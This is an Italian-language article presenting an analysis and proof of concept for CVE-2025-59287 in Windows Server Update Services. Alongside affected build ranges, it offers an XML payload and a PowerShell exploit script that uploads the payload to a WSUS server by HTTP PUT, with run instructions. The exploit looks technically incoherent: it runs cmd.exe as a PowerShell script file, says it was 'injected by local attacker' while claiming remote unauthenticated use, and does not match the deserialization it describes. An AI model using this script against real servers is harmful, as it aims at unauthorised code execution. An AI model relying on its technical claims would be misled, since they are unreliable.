
Analisi tecnica e proof-of-concept per CVE-2025-59287, una RCE critica in Windows Server Update Services tramite deserializzazione non sicura, incluse le build interessate e le fasi di mitigazione.
CVE-2025-59287 è una vulnerabilità critica di RCE in Windows Server Update Services (WSUS) causata da una deserializzazione non sicura di dati non attendibili. Consente a un attaccante remoto di eseguire codice arbitrario senza autenticazione. Si consiglia vivamente di applicare le patch urgentemente a causa dello sfruttamento attivo.
CVE‑2025‑59287 – Una minaccia di esecuzione di codice remoto in Windows Server Update Services (WSUS)
Di Mark Mallia
Windows Server Update Services (WSUS) di Microsoft è la spina dorsale della gestione delle patch per ogni piattaforma Windows Server di Microsoft. Recupera gli aggiornamenti dal catalogo di aggiornamenti di Microsoft, li valida e li distribuisce a tutti i server in una rete. La vulnerabilità identificata come CVE‑2025‑59287 sfrutta una routine di deserializzazione non sicura all'interno di WSUS che consente a un attaccante di iniettare contenuto XML arbitrario nel feed di aggiornamento. Poiché WSUS elabora il payload senza alcuna validazione del percorso di origine o dei dati dei comandi, un attaccante può fornire qualsiasi nome file e percorso, causando una completa esecuzione di codice remoto sul server di destinazione.
Perché è importante:
| Versione del prodotto | Build interessate |
|---|---|
| Windows Server 2012 | 6.2.9200.0 – < 6.2.9200.25728 |
| Windows Server 2012 R2 | 6.3.9600.0 – < 6.3.9600.22826 |
| Windows Server 2016 | 10.0.14393.0 – < 10.0.14393.8524 |
| Windows Server 2019 | 10.0.17763.0 – < 10.0.17763.7922 |
| Windows Server 2022 | 10.0.20348.0 – < 10.0.20348.4297 |
| Windows Server 2025 | 10.0.26100.0 – < 10.0.26100.6905 |
| Windows Server 23H2 | 10.0.25398.0 – < 10.0.25398.1916 |
(Se il tuo ambiente utilizza una build di patch diversa, regola semplicemente l'intervallo di conseguenza.)
System.Xml.Linq.XElement.<SourcePath>; questo valore viene scritto su disco come percorso assoluto.<Command> viene eseguito da PowerShell quando WSUS elabora lo stream, fornendo una completa esecuzione di codice remoto.Di seguito è riportato il payload XML che caricheremo su un server vulnerabile.
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS Exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
### Uno script di esempio per lo sfruttamento in PowerShell
Il seguente script genererà il payload XML, lo caricherà tramite HTTP PUT sulla tua istanza WSUS e lascerà un file di log per la risoluzione dei problemi.
# --------------------------------------------------
# File: wsus‑exploit.ps1
# Purpose: Generate malicious UpdateStream.xml,
# upload it to the WSUS server,
# trigger the feed.
# --------------------------------------------------
param (
[string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
[int] $Port = 80,
[string] $XmlFile = '.\payload.xml'
)
function Build-Xml {
param ([string]$file)
$xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
"@
Set-Content -Path $file -Value $xmlContent
}
# Build the XML payload
Build-Xml -file $XmlFile
# Upload via HTTP PUT
Invoke-WebRequest -Uri $TargetUrl `
-Method Put `
-InFile $XmlFile `
-OutFile 'upload.log'
Write-Host "Upload complete – WSUS should now process the stream."
winver.exe su ogni Windows Server per confermare che la build rientri negli intervalli sopra indicati.wsus‑exploit.ps1 su una macchina che possa raggiungere la tua istanza WSUS, modifica $TargetUrl se utilizzi un percorso o una porta diversi.C:\Windows\System32\cmd.exe appaia su ogni server di destinazione e che contenga il payload previsto.Le informazioni e il codice di sfruttamento forniti nel presente documento sono solo a scopo educativo. Assicurati di avere il permesso di eseguire questo test contro il tuo ambiente WSUS e segui tutte le linee guida applicabili sulle migliori pratiche di sicurezza quando distribuisci modifiche ai sistemi di produzione.